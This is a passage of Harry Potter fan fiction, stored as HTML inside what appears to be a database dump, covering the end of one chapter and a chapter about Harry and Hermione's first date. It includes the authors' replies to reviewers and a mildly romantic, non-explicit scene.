class="MsoNormal">&#8220;Harry there are\ntons of things that could make noises, especially here at Hogwarts.&#8221; Hermione\nsaid reasonably. A shuffling sound and a giggle met her ears. &#8220;I know that\nlaugh!&#8221; she charged over to the closet, Harry trailing behind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry put a hand\non the knob, and then in one swift move, jerked it open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blaise!&#8221;\nHermione gasped. Her best friend sat on the floor of the tiny closet, locked in\nquite a passionate clinch with Ron Weasley. Harry gaped down at them as well,\nand then slammed the door shut.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Harry\nlooked at Hermione with wide eyes. &#8220;That was&#8230; that was&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bit down\non her lower lip, looking from Harry to the door. &#8220;That was really funny!&#8221; she\nsaid, unable to keep the giggles from bursting out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry started to\nlaugh. &#8220;Aye that was.&#8221; Their eyes met and both laughed even harder. &#8220;Come on.&#8221;\nHe took her hand once more as the closet fell further and further behind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As they neared\nthe Great Hall, Harry took both her hands in his and pushed her up against the\nwall. &#8220;Just one more before dinner.&#8221; He grinned and she found herself unable to\nresist, yet again. Harry gently pressed his lips to hers, leaving the kiss soft\nand somewhat innocent due to the fact that students were now starting to\nshuffle past them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well look at the\ntwo of you!&#8221; Blaise was walking up, hand in hand with Ron. She was unable to\nhide how pleased she was. &#8220;Who&#8217;d have thought Hermione would be making out in\npublic?&#8221; she announced loudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up Blaise.&#8221;\nHermione broke the kiss and turned to glare at her best friend. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise grinned\nsaucily at her while Ron could only stand there and look at his good fortune.\n&#8220;Come on, let&#8217;s go eat.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll be in\nthere in a moment.&#8221; Harry said, grinning and waving them past.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, right.&#8221;\nBlaise joked and pulled on Ron&#8217;s hand. &#8220;Come on love, I&#8217;m hungry.&#8221; She said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and\nHermione watched them go in, and then he turned back to her. &#8220;What are you\ndoing tonight?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I hope I&#8217;ll be\noff somewhere with a certain green eyed guy.&#8221; Hermione teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned\nagain. &#8220;Does he have black hair and play Quidditch?&#8221; he asked jokingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe.&#8221; A\nplayful smirk tugged at her mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In that case,\ncould I possibly tempt you away on a date?&#8221; Harry asked softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You very\npossibly could.&#8221; Hermione answered as he rested his forehead on hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry chuckled.\n&#8220;How about eight, I&#8217;ll meet you in front of your common room?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s fine.&#8221;\nHermione felt the growing excitement inside her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great!&#8221; Harry\nwas excited too. &#8220;Don&#8217;t eat too much then.&#8221; He said quietly in her ear. &#8220;I&#8217;ll\nsee you then.&#8221; He grinned and dashed off down the hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione\nwas confused. &#8220;What about dinner?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that\nseems like an abrupt place to end, but it&#8217;s as good as any ;)&nbsp; Stay tuned for the DATE in the next chapter!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Happy Holidays to\neveryone, and a special thank you to Mandy for helping us out in this chapter!\nR/R!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(78, 8, ' <p>Chapter 7</p>\n\n<p>A/N: Well here you go, the DATE :)&nbsp; The next chapter will be up after Ryoko comes back from vacation, after Jan 7<sup>th</sup>&#8230; it&#8217;ll take both of us to write that one heehee.</p>\n\n<p>Thanks to all those who reviewed, here are some responses:</p>\n\n<p>Coolone007: You think Hermione would talk about the bet to Harry? Read on!</p>\n\n<p>Moira McDuff: Yup, and they REALLY kiss some more in this chapter :D yay for snogs!!!</p>\n\n<p>NiaSphinx: Thanks :D</p>\n\n<p>Lil: Bet stuff coming up! AHHH!!</p>\n\n<p>Bunnie: Glad we can make your H/Hr day :)</p>\n\n<p>Shiko: Hehehehehee. That&#8217;s all I&#8217;ll say about the &#8216;dare/bet&#8217;</p>\n\n<p>LeBoshi: This is MUCH BETTER than that OTHER story! LOL</p>\n\n<p>PotterFanFiction: We don&#8217;t put that much space between our paragraphs. When we save the file in word as an html, it does it automatically.</p>\n\n<p>SVZ: Blaise and Ron is fun isn&#8217;t it ;) Something new for a change!</p>\n\n<p>Zodyaz: I LOVE hearing people say aye! Both H/Hr say it in this story, it&#8217;s just such a fun little word!</p>\n\n<p>K8ylady: Well&#8230;don&#8217;t want to talk about how far they go, not quite yet ;) But we&#8217;re trying to stay as true to their characters as possible!</p>\n\n<p>Dani_Cx: I don&#8217;t think it&#8217;s fair to say Harry wouldn&#8217;t say Aye. Scottish and English people say it a lot, at least the people I know do. </p>\n\n<p>Seiki: We can&#8217;t do NC 17 on fanfiction.net, but at our groups and on portkey.org, things will be full blown there hehehehe</p>\n\n<p>Nina: Glad we could service you with good H/Hr and we will try to throw in some more Draco for you. Story is winding down, but we&#8217;ll try!!</p>\n\n<p>Danielle Malfoy: Harry and Draco are friends in this, best friends in fact. And no more Ginny, well, she might make a cameo in a later chapter, we&#8217;ll have to see :p</p>\n\n<p>And now, ON with the chapter! YAY!</p>\n\n<p>Hermione touched a bit of gloss to her lips and grinned, she hoped it would wear off within the first hour of her evening with Harry. </p>\n\n<p>&#8220;I SWEAR I have the perfect skirt in here somewhere!&#8221; Blaise was throwing things from her closet in search of a knee length navy blue skirt that she deemed perfect for Hermione to wear.</p>\n\n<p>&#8220;If you can&#8217;t find it, don&#8217;t worry.&#8221; Hermione replied.</p>\n\n<p>&#8220;Nonsense. It&#8217;s your first date with Harry and you&#8217;ve got to look perfect.&#8221; Blaise waved her off and continued searching.</p>\n\n<p>Hermione simply rolled her eyes good naturedly, she was in too happy a mood to let anything spoil it or bother her. She turned back to the mirror, messing around with Blaise&#8217;s many cosmetics. Her friend had wanted to her makeup, but Hermione insisted on doing it herself, and could Blaise possibly pick out something for her to wear? That statement was what had gotten them in this current situation.</p>\n\n<p>&#8220;AHA!&#8221; Blaise crowed several minutes later. She pulled the skirt from a jumble of clothes. &#8220;Do you have a white tank top?&#8221;</p>\n\n<p>&#8220;I think so.&#8221; Hermione replied. &#8220;Won&#8217;t that be cold though?&#8221;</p>\n\n<p>&#8220;Well there&#8217;s a matching jumper.&#8221; Blaise reached back and grabbed it. &#8220;Go get dressed, and then I&#8217;ll fix your hair for you.&#8221;</p>\n\n<p>Hermione took the clothing and went into the bathroom. She took off her day clothes and stepped into Blaise&#8217;s skirt. &#8220;Can you get my tank top for me?&#8221; </p>\n\n<p>&#8220;Sure.&#8221; Blaise opened the door a crack and tossed the shirt at her. Hermione pulled it over her head, and then buttoned up the jumper. </p>\n\n<p>&#8220;How do I look?&#8221; Hermione stepped from the bathroom.</p>\n\n<p>&#8220;No.&#8221; Blaise shook her head. &#8220;Herms, don&#8217;t button that up all the way you&#8217;re not a nun.&#8221; She came forward and pulled at the buttons, only leaving the one across her chest done. &#8220;Much better.&#8221;</p>\n\n<p>Hermione didn&#8217;t argue, only sat down in the chair. Blaise began her usual routine of tugging through her long tresses. &#8220;Want me to straighten it for you tonight?&#8221;</p>\n\n<p>&#8220;What if he doesn&#8217;t like it that way?&#8221; Hermione asked. &#8220;I mean, last time&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;ll be easier for him to run his fingers through.&#8221; Blaise said slyly.</p>\n\n<p>&#8220;Blaise!&#8221; </p>\n\n<p>&#8220;What?&#8221; Blaise looked innocent. &#8220;It&#8217;s true!&#8221;</p>\n\n<p>&#8220;All right.&#8221; Hermione relented; she supposed Blaise had a point. Blaise repeated the same steps she had the night she gave Hermione the makeover. Within a few minutes, her hair was a mass of loose waves, flowing down her back.</p>\n\n<p>&#8220;Leave it down.&#8221; Blaise advised. &#8220;It looks really good with the waves.&#8221;</p>\n\n<p>&#8220;Okay.&#8221; Hermione glanced at her watch. &#8220;It&#8217;s almost eight!&#8221; she cried, jumping up from the chair like it was on fire.</p>\n\n<p>&#8220;Relax.&#8221; Blaise placed both her hands on Hermione&#8217;s shoulders. </p>\n\n<p>&#8220;I&#8217;m nervous.&#8221; Hermione said, trying to steady her breathing. </p>\n\n<p>&#8220;Herms, you&#8217;ve already snogged; you don&#8217;t have to worry about that!&#8221; Blaise said. &#8220;You know how he feels about you, you know that you&#8217;re going to have fun, and you know you&#8217;re going to get kissed senseless at the end of the night.&#8221;</p>\n\n<p>&#8220;I know.&#8221; Hermione bit her lower lip and turned away. &#8220;But&#8230; I&#8217;m just scared, and excited&#8230;&#8221;</p>\n\n<p>&#8220;You&#8217;re going to have the best time ever tonight.&#8221; Blaise said firmly. &#8220;Now get out!&#8221;</p>\n\n<p>Hermione grabbed her cloak (the nights were still rather cool) and settled it neatly on her shoulders. &#8220;Wish me luck.&#8221; She said.</p>\n\n<p>&#8220;You don&#8217;t need it.&#8221; Blaise replied. &#8220;But good luck, have fun and don&#8217;t do anything I wouldn&#8217;t do.&#8221;</p>\n\n<p>&#8220;Well that&#8217;s nothing, because you do everything!&#8221; Hermione responded dryly, and then ducked out of the room with a giggle when Blaise threw a hairbrush at her.</p>\n\n<p>She stepped out the door to her common room, expecting to see Harry but there was no one there yet. Hermione leaned against the wall, nervously running her hand through her long hair. &#8216;He&#8217;s not coming&#8230; he&#8217;s forgotten it was eight&#8230; did he say my common room or his&#8230;&#8217; she was so absorbed in her thoughts she didn&#8217;t notice someone approaching her.</p>\n\n<p>&#8220;Are you Hermione?&#8221; </p>\n\n<p>She recognized Alyssa, the 5<sup>th</sup> year Gryffindor Quidditch announcer. &#8220;Yes&#8230;&#8221; Hermione tried to keep her voice from trembling. Had Harry sent this girl to cancel with her?</p>\n\n<p>&#8220;This is from Harry.&#8221; Alyssa thrust a note at her, blushing a bit. He was quite charming, it hadn&#8217;t taken him long to convince her to be a messenger.</p>\n\n<p>&#8220;Oh&#8230; thank you.&#8221; Hermione managed a smile as Alyssa skipped away. She unfolded the parchment with trembling fingers.</p>\n\n<p><i>You\'ll see me from the common room</i></p>\n\n<p><i>Under the stars, beneath the moon</i></p>\n\n<p><i>It\'s not that far--come outside</i></p>\n\n<p><i>Perhaps you\'d like another ride?</i></p>\n\n<p>A large grin blossomed over her face as she read. &#8220;Definitely the locker rooms.&#8221; She said to herself, rushing down the hallway, her fears staying behind. Practically flying out the castle, she hastened down to the Quidditch pitch.</p>\n\n<p>&#8220;Harry?&#8221; she called out quietly. There was no answer, no sound, not even a shuffling of feet. &#8220;Harry are you here?&#8221;</p>\n\n<p>Harry grinned as he noiselessly sneaked up behind her. Placing his hands over her shoulders, he clamped down on her, making her scream.</p>\n\n<p>&#8220;Harry!&#8221; she gasped, clutching at him. &#8220;Why did you do that you scared the hell out of me!&#8221;</p>\n\n<p>&#8220;Sorry.&#8221; He was grinning impishly, making it impossible for Hermione to be angry at him. &#8220;I didn&#8217;t mean to.&#8221;</p>\n\n<p>&#8220;Sure you didn&#8217;t.&#8221; she relaxed and smiled back. &#8220;So what&#8217;s with the note?&#8221;</p>\n\n<p>&#8220;I wanted to surprise you.&#8221; Harry said. He held up a long piece of cloth in his hand. &#8220;Blindfold!&#8221;</p>\n\n<p>&#8220;Err&#8230;&#8221; Hermione couldn&#8217;t manage the words on her tongue as he slipped behind her and tied it on. &#8220;Okay.&#8221; </p>\n\n<p>Harry came back around and took her hand firmly in his, lacing their fingers together. Leaning in, he gave in to temptation and kissed her gently, leaving his lips on hers longer than he had planned. They were so soft and she tasted like strawberries.</p>\n\n<p>&#8220;You didn&#8217;t eat a lot at dinner did you?&#8221; Harry murmured in her ear as he guided her outside and over to his broom.</p>\n\n<p>&#8220;No, you told me not to.&#8221; Hermione replied. &#8220;Why, where are you taking me?&#8221;</p>\n\n<p>&#8220;You&#8217;ll see.&#8221; Harry settled her on and then got behind her. &#8220;It&#8217;s a surprise.&#8221; They rose up in the air, with Harry holding onto Hermione&#8217;s waist tightly. He turned them towards the mountains surrounding Hogwarts.</p>\n\n<p>Hermione felt her breath quicken as Harry started to descend. She was so curious to know where he was taking her that she almost stumbled as he helped her off the broom.</p>\n\n<p>&#8220;Ready to find out where we are?&#8221; he asked teasingly, moving his hands up to untie the blindfold.</p>\n\n<p>&#8220;Yes!&#8221; she exclaimed, fighting a giggle. He gently pulled it off and Hermione gasped. </p>\n\n<p>They were in a small clearing, completely surrounded by trees. A burgundy coloured blanket was spread in the middle, with at least a dozen candles floating around it. On the blanket rested two goblets, a bottle off to the side, and two gold plates.</p>\n\n<p>&#8220;Do you like it?&#8221; Harry asked, a bit nervously. He hoped she wouldn&#8217;t think he had gone overboard.</p>\n\n<p>&#8220;You did this all for me?&#8221; she seemed unable to grasp it. Harry smiled down at her, taking her hand again.</p>\n\n<p>&#8220;Well, for me too&#8230;&#8221; he kidded, trying to put her at ease. It worked, and Hermione started to giggle. &#8220;Come on, let&#8217;s sit down.&#8221; Harry took her hand and they went over to the blanket.</p>\n\n<p>Hermione nervously sat down, trying to pull her skirt back over her knees. Harry stood over her, his hand still extended. &#8220;What?&#8221; she asked, confused.</p>\n\n<p>&#8220;Your cloak.&#8221; Harry replied.</p>\n\n<p>&#8220;Oh, right.&#8221; Hermione stood back up and tugged at the strings. Harry reached over and removed it from her shoulders, carefully draping it over his arm on top of his own, setting them down on a boulder. Turning back to her, he took a moment and admired the way she stood, looking around the clearing, the way the clothes she wore hung on her lovely figure just perfectly, how her hair shone in the deep moonlight. Harry stepped behind her, winding his arms around her waist.</p>\n\n<p>&#8220;Have I told you how gorgeous you look tonight?&#8221; he asked, his voice low.</p>\n\n<p>Hermione smiled shyly. &#8220;Not yet.&#8221; She answered, turning so that their eyes met. &#8220;You look really nice too.&#8221; Harry was wearing dark trousers, Hermione couldn&#8217;t tell in the dark whether they were black or dark blue, and a lighter blue jumper.</p>\n\n<p>&#8220;Thanks.&#8221; Harry turned her around so that she was facing him. Their eyes remained firmly affixed to one another&#8217;s for what felt to Hermione like an hour.</p>\n\n<p>&#8220;I like your hair like this.&#8221; Harry broke the silence and moved his hand up and threaded his fingers through her tresses.</p>\n\n<p>&#8220;Oh.&#8221; Hermione felt self conscious once more. &#8220;I wasn&#8217;t sure if you would&#8230; last time I straightened it&#8230;&#8221;</p>\n\n<p>&#8220;I like it either way.&#8221; Harry broke in, rubbing a lock between his index finger and thumb. &#8220;I like you this way.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; Hermione was confused.</p>\n\n<p>&#8220;You. Acting like you.&#8221; Harry said. &#8220;I didn&#8217;t fall in love with your looks, just you. That day you came into the Great Hall all dressed up&#8230;&#8221;</p>\n\n<p>&#8220;I just want to forget about that.&#8221; Hermione interrupted. &#8220;Besides, we&#8217;ve worked everything out now; I would much rather concentrate on that.&#8221;</p>\n\n<p>&#8220;Right.&#8221; Harry grinned, pulling her in close. &#8220;Me too.&#8221; Discussion they could save for later, right now there were other things Harry wanted to do.</p>\n\n<p>Hermione smiled back up at him, moving her hands from Harry&#8217;s back to his chest. &#8220;Good.&#8221; She sighed softly, raising herself up. She needed to feel his mouth against hers.</p>\n\n<p>She got her wish a second later when Harry slightly lowered his head so that their lips brushed. It wasn&#8217;t good enough for her; she wound her hand around his neck, keeping his mouth against hers. He was pleasantly surprised by this, deepening the kiss immediately. His hands fisted in her hair, bringing her body tightly against him. &nbsp;Harry explored her mouth gently, his knees resisting the urge to crumble as she ran her nails through his hair.</p>\n\n<p>The two would have gone further, except for the sudden and quite loud grumbling that came from Hermione&#8217;s stomach. They both looked down, Hermione&#8217;s face turning a deep shade of red while Harry started laughing.</p>\n\n<p>&#8220;Hungry?&#8221; he teased.</p>\n\n<p>&#8220;You told me not to eat a lot at dinner!&#8221; Hermione cried in defense. &#8220;So I didn&#8217;t!&#8221;</p>\n\n<p>&#8220;Aye, I did tell you that didn&#8217;t I.&#8221; Harry grinned, trying to reign in his laughter.</p>\n\n<p>&#8220;Yes you did!&#8221; Hermione pushed against his shoulder. &#8220;So stop laughing at me!&#8221;</p>\n\n<p>&#8220;All right.&#8221; Harry bit his lower lip, but the corners of his mouth curled up. Hermione didn&#8217;t see this, however, as they sat down. The two plates were set up side by side, the goblets in front, and the bottle between them.</p>\n\n<p>&#8220;Is that champagne?&#8221; Hermione asked, slightly impressed and at the same time, a bit scared. She and Blaise, during the previous summer holiday, had discovered a bottle of Muggle champagne in Blaise&#8217;s parents cabinet. They had stolen it and drank it, and Hermione was quite sure she had never felt as horrible as she had the next morning.</p>\n\n<p>&#8220;Well&#8230;&#8221; Harry picked up the bottle and showed her the label. &#8220;It&#8217;s actually just Knobble&#8217;s pumpkin juice.&#8221;</p>\n\n<p>&#8220;Oh.&#8221; Hermione was relieved. Harry poured them both some and held one of the goblets out to her. </p>\n\n<p>&#8220;Shall we toast?&#8221; he asked, taking his own.</p>\n\n<p>&#8220;Sure.&#8221; Hermione smiled up at him as she raised her glass. &#8220;To&#8230;&#8221;</p>\n\n<p>&#8220;How about our first date?&#8221; Harry asked.</p>\n\n<p>&#8220;One of many.&#8221; Hermione agreed, clinking her glass against his.</p>\n\n<p>If it was possible, Harry&#8217;s eyes warmed over even further than they already were. &#8220;To the first of many&#8230;&#8221; he echoed softly as they both took a long sip.</p>\n\n<p>&#8220;That&#8217;s excellent.&#8221; Hermione said, setting her goblet down. &#8220;I&#8217;ve never had such good pumpkin juice before.&#8221;</p>\n\n<p>&#8220;I got it off Neville Longbottom.&#8221; Harry said. &#8220;His Gran sends him some about twice a month, and he usually pawns it off to one of us. Best brand there is.&#8221;</p>\n\n<p>&#8220;It&#8217;s delicious.&#8221; Hermione said, taking another sip. She looked down at the two empty plates. &#8220;So where&#8217;s dinner?&#8221;</p>\n\n<p>Harry grinned. &#8220;It should be appearing any second now.&#8221;</p>\n\n<p>&#8220;Good, I&#8217;m starved.&#8221; Hermione said. </p>\n\n<p>&#8220;I couldn&#8217;t tell.&#8221; Harry smirked.</p>\n\n<p>Hermione was about to reply when a sudden soft POP was heard and the two plates were suddenly filled with food. </p>\n\n<p>&#8220;How did you arrange all this?&#8221; she asked as she dug in eagerly.</p>\n\n<p>&#8220;I know one of the house elves really well.&#8221; Harry replied with his mouth full. &#8220;I go to the kitchens all the time for extra food.&#8221;</p>\n\n<p>&#8220;That must be nice.&#8221; Hermione said. </p>\n\n<p>They ate in silence for a few moments, when Harry spoke again. &#8220;So what do you think of Ron and Blaise?&#8221;</p>\n\n<p>Hermione almost choked on her turkey. &#8220;I still can&#8217;t believe we walked in on them snogging.&#8221;</p>\n\n<p>Harry laughed loudly. &#8220;That was classic. I can&#8217;t wait to bug Ron about it later.&#8221;</p>\n\n<p>&#8220;Well I&#8217;m sure I&#8217;ll be hearing all about it from Blaise.&#8221; Hermione replied, setting her fork down on her empty plate. &#8220;Ahhh, much better.&#8221;</p>\n\n<p>&#8220;No more growling.&#8221; Harry wagged a finger at her. &#8220;I don&#8217;t want to hear your stomach anymore!&#8221; he teased.</p>\n\n<p>&#8220;Harry!&#8221; Hermione exclaimed as she looked over at him. &#8220;Stop!&#8221;</p>\n\n<p>&#8220;What are you going to do if I don&#8217;t?&#8221; Harry flirted, turning to face her, a grin appearing on his face.</p>\n\n<p>Hermione&#8217;s breath caught in her throat as he leaned down. &#8220;I&#8217;ll make you.&#8221;</p>\n\n<p>&#8220;How?&#8221; he asked softly, his lips curving up further.</p>\n\n<p>Hermione&#8217;s mind was racing. &#8216;What does he want me to do?&#8217; she asked herself desperately. She was not used to games, not used to flirting this way. &#8220;I uh&#8230;&#8221; she stammered, suddenly scared she wasn&#8217;t going to do the right thing. &#8220;I don&#8217;t know.&#8221;</p>\n\n<p>&#8220;Sure you do.&#8221; Harry replied, his eyes taking on <i>that</i> glow, the one that always made her feel like she was falling under a spell.</p>\n\n<p>&#8220;I do?&#8221; Hermione asked weakly. Harry looked down at her, their faces so close now they could feel each other&#8217;s breath. He brought up a hand and gently caressed her cheek. </p>\n\n<p>&#8220;Hermione, love....&#8221; he said, and she nearly passed out. &#8220;Why so nervous?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; She replied softly. Her eyes moved to his lips, which were slightly parted, and ready to be kissed. Before she could lose any amount of courage she had left, Hermione tilted her face up and pressed her mouth to his.</p>\n\n<p>Harry grinned against her lips, his eyes closing as he kissed her back. His thumb rubbed lightly across her cheek, his other hand unable to keep from running through her locks. </p>\n\n<p>Hermione, pleased with herself, tried to deepen the kiss. She tentatively touched her tongue to Harry&#8217;s lips, which parted immediately, allowing her inside. </p>\n\n<p>Harry let out a groan, then eased Hermione back so that she was lying down on the blanket. He was gentle, careful not to push her too much, or make her feel like he wanted to go faster than she was ready for. Hermione&#8217;s arms came up around his neck, bringing him down on top of her.</p>\n\n<p>She understood that Harry was taking things slow for her benefit, and she appreciated it, but Hermione didn&#8217;t want to take things slow anymore. Moving her hand from his hair, she took his fingers and brought them down to the hem of her jumper.</p>\n\n<p>Harry nearly gasped in surprise as she did this, but was pleased at the same time. He brought his hand up and over the top of the jumper, moving gently to the button that held it closed. Effortlessly snapping it open, he began to slowly peel it off.</p>\n\n<p>Hermione&#8217;s breath came faster as she felt the jumper being pulled back. She sat up, trying not to break the kiss, and helped Harry push the bothersome piece of clothing over her arms. Harry pulled his mouth from hers and tugged up on his own jumper. Hermione felt her breath catch in her throat as he tossed it aside. She swallowed nervously, was she supposed to take off her tank top as well? </p>\n\n<p>&#8220;You don&#8217;t have to.&#8221; Harry said, as if reading her mind. &#8220;If you feel uncomfortable&#8230;&#8221;</p>\n\n<p>&#8220;No&#8230; it&#8217;s not that I&#8217;m uncomfortable&#8230;&#8221; Hermione was ashamed of being so inexperienced. &#8220;I just&#8230;I&#8217;m not sure what to do.&#8221; Her face grew red with her confession.</p>\n\n<p>Harry smiled. &#8220;It&#8217;s all right. You don&#8217;t have to be embarrassed.&#8221; He sat back down next to her and gently ran his fingers through her hair. &#8220;We&#8217;ll do whatever you feel like doing.&#8221;</p>\n\n<p>&#8220;Thanks.&#8221; Hermione was relieved, her nerves immediately evaporating. Harry&#8217;s fingers continued to run through her locks; he leaned in and gently pressed his lips against hers once more. Hermione responded, bringing up her hand to rest on his shoulder. Opening her mouth when his tongue touched her lips, she moved her hand down across his chest.</p>\n\n<p>Harry took a sharp intake of breath when he felt her hand travel across his torso. Her touch was as light as a feather as he pressed harder against her mouth. He took his fingers from her hair and traced them lightly up and down her bare arm. Pulling his mouth away from hers, he gently kissed her neck, working his way down to the hollow of her throat.</p>\n\n<p>Hermione felt her heartbeat quicken as Harry kissed her. She tilted her head back, making her neck more accessible to him. Falling back once again on the blanket, Hermione curved her arms around Harry and let her hands wander about his back as he continued to kiss her.</p>\n\n<p>She tasted sweet to Harry, he couldn&#8217;t put a finger on what it was, but all he could think of was sweet. He suckled lightly on her skin, not wanting to leave marks on her. Moving his mouth down, he kissed a spot low on her neck, and felt his body tighten as she jerked underneath him.</p>\n\n<p>&#8220;Oh!&#8221; Hermione couldn&#8217;t help exclaiming as a thrill shot straight through her. He had kissed her in that one spot, that ONE spot&#8230; she herself hadn&#8217;t even known that such a spot existed on her body, that would make her feel that way.</p>\n\n<p>Harry brought his lips down again, touching the spot lightly, and was rewarded when her body literally jerked under his. He felt himself tighten at the way she reacted to him and pulled his mouth away. Harry brushed a lock of hair from her forehead as he gazed down at her. Hermione opened her eyes and stared back at him. </p>\n\n<p>&#8220;Like that, did you love?&#8221; he asked, stroking her hair gently. Hermione could only nod softly. A strong wave of desire washed over her as she looked into his eyes, and before she really realised what she was doing, guided his hand down underneath her shirt. Harry looked down at where his hand was now, and then back up at her. She nodded again.</p>\n\n<p>&#8220;Please.&#8221; Her voice was so soft he wasn&#8217;t sure at first if Hermione had spoken, but then she started to move his hand up, taking her top with it. Somehow, he managed to lift it over her head without making her sit up, and he dropped the shirt on his jumper. Looking back down at her, Harry slowly drew his eyes from her stomach up to her face, where he could still see apprehension in her eyes.</p>\n\n<p>&#8220;You&#8217;re gorgeous.&#8221; He said, his low voice soothing to her. His fingers cupped the side of her face, his thumb stroking across her cheek. Without waiting to respond, he dipped his head and kissed her, delving his tongue into her mouth almost immediately. His hand was hot on her bare skin; he moved it slowly up and down her side. </p>\n\n<p>Hermione felt herself relax as Harry&#8217;s fingers brushed against her. She took her hands and buried them in his hair, letting the dark strands slip through her fingers. </p>\n\n<p>&#8216;Why am I being so tentative?&#8217; she asked herself. &#8216;I want this, I want him! I love Harry and he loves me too!&#8217; Stroking her tongue against his, Hermione kissed him back so fiercely she knew her lips would be bruised come morning, but she could care less. Pulling her mouth from his, it was her turn to taste his skin, suckling lightly; she imitated what he had done earlier.</p>\n\n<p>Harry could tell she was loosening up, and he was glad for that. If it hadn&#8217;t gone any further than kissing with all their clothes on, he&#8217;d have been fine with that, but this was more than he had hoped for tonight. His heart beat faster as her mouth continued to move over his bare chest, her tongue occasionally sneaking out and flicking against his skin.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; he choked out. &#8220;Do you know what you&#8217;re doing to me?&#8221; She raised her head and looked at him. &#8220;Not sure what to do?&#8221; he grinned, sitting up and wrapping his arms around her.</p>\n\n<p>&#8220;Well&#8230; I haven&#8217;t had much experience.&#8221; Hermione started to say but Harry kissed her firmly.</p>\n\n<p>&#8220;No more talk.&#8221; He said, hugging her. &#8220;I just want to sit and hold you for a little while.&#8221;</p>\n\n<p>&#8220;I won&#8217;t argue with that.&#8221; Hermione said. She moved so that she was sitting in his lap, with his arms wrapped around her middle. Leaning her head back against his shoulder, she let out a contented sigh. They sat together for some time in silence, fingers entwined, just enjoying each other. &#8220;Can we stay here all night?&#8221; Hermione asked, a bit wistfully.</p>\n\n<p>Harry made a sound deep in his throat. &#8220;I wish we could. Part of the agreement I made with Dumbledore was that I&#8217;d have you back before morning.&#8221;</p>\n\n<p>&#8220;You had to make an agreement with Dumbledore?&#8221; Hermione twisted to look up at him.</p>\n\n<p>&#8220;Well there wasn&#8217;t anywhere on the grounds that would give us any sort of privacy. Besides, I like this place. Sometimes on Hogsmeade days I would sneak up here to be alone.&#8221; Harry replied. &#8220;I&#8217;ve never taken anyone else here.&#8221;</p>\n\n<p>Hermione was touched by this remark; she smiled and kissed him quickly. He had shared his private place with her; she wanted to show him how much that meant to her. &#8220;Thank you.&#8221; She said quietly. &#8220;I&#8217;m glad you trust me.&#8221; Harry grinned down at her and pulled her more tightly against him. &#8220;Can we stay up here just a little while longer?&#8221; Feeling him nod, she relaxed once more in his embrace. Hermione closed her eyes and was nearly asleep when a thought sprang in her mind, a thought that made her blood run cold.</p>\n\n<p>The bet.</p>\n\n<p>Hermione stayed quiet, torn on whether or not to confess her secret. After a few minutes, she felt Harry start to get up.</p>\n\n<p>&#8220;Almost midnight.&#8221; He didn&#8217;t sound enthused. &#8220;Suppose we should get on back.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Hermione agreed. As they both pulled their clothing back on, she began to feel horribly guilty. Harry had all but said outright that he hated girls who threw themselves at him, and here she had gone and made a bet that she could seduce him. He came up behind her and settled her cloak on her shoulders with one hand, his Firebolt in the other.</p>\n\n<p>Harry looked down at her as she perched on the broom in front of him, she seemed upset about something but he chalked it up to having to leave. &#8220;We&#8217;ll come back here.&#8221; He said softly in her ear as he pulled up on the broom. &#8220;It&#8217;ll be our spot from now on.&#8221;</p>\n\n<p>Hermione almost melted on the spot as he said that. She found his hand on the broomstick and squeezed it. &#8216;I have to tell him. He obviously trusts me and I want to keep it that way. I&#8217;ll tell him when we get back to the castle.&#8217; For now, Hermione only wanted to think about being with Harry, having his arm wrapped around her.</p>\n\n<p>Harry landed the broom down by the front doors. Taking her hand in his, he helped her off, swinging his Firebolt over his shoulder. The castle was eerily silent, Hermione reasoned even Filch must be in bed by now, it was so late.</p>\n\n<p>&#8220;So I&#8217;ll see you tomorrow?&#8221; Harry asked as they approached the Slytherin Common Room.</p>\n\n<p>&#8220;Of course.&#8221; Hermione turned and looked up at him. He set his broomstick against the wall and wrapped his arms around her waist. &#8220;I had a good time tonight Harry.&#8221;</p>\n\n<p>&#8220;I did too.&#8221; He replied. They stood there together for a long moment in silence, and then Harry leaned down and kissed her softly. &#8220;I guess 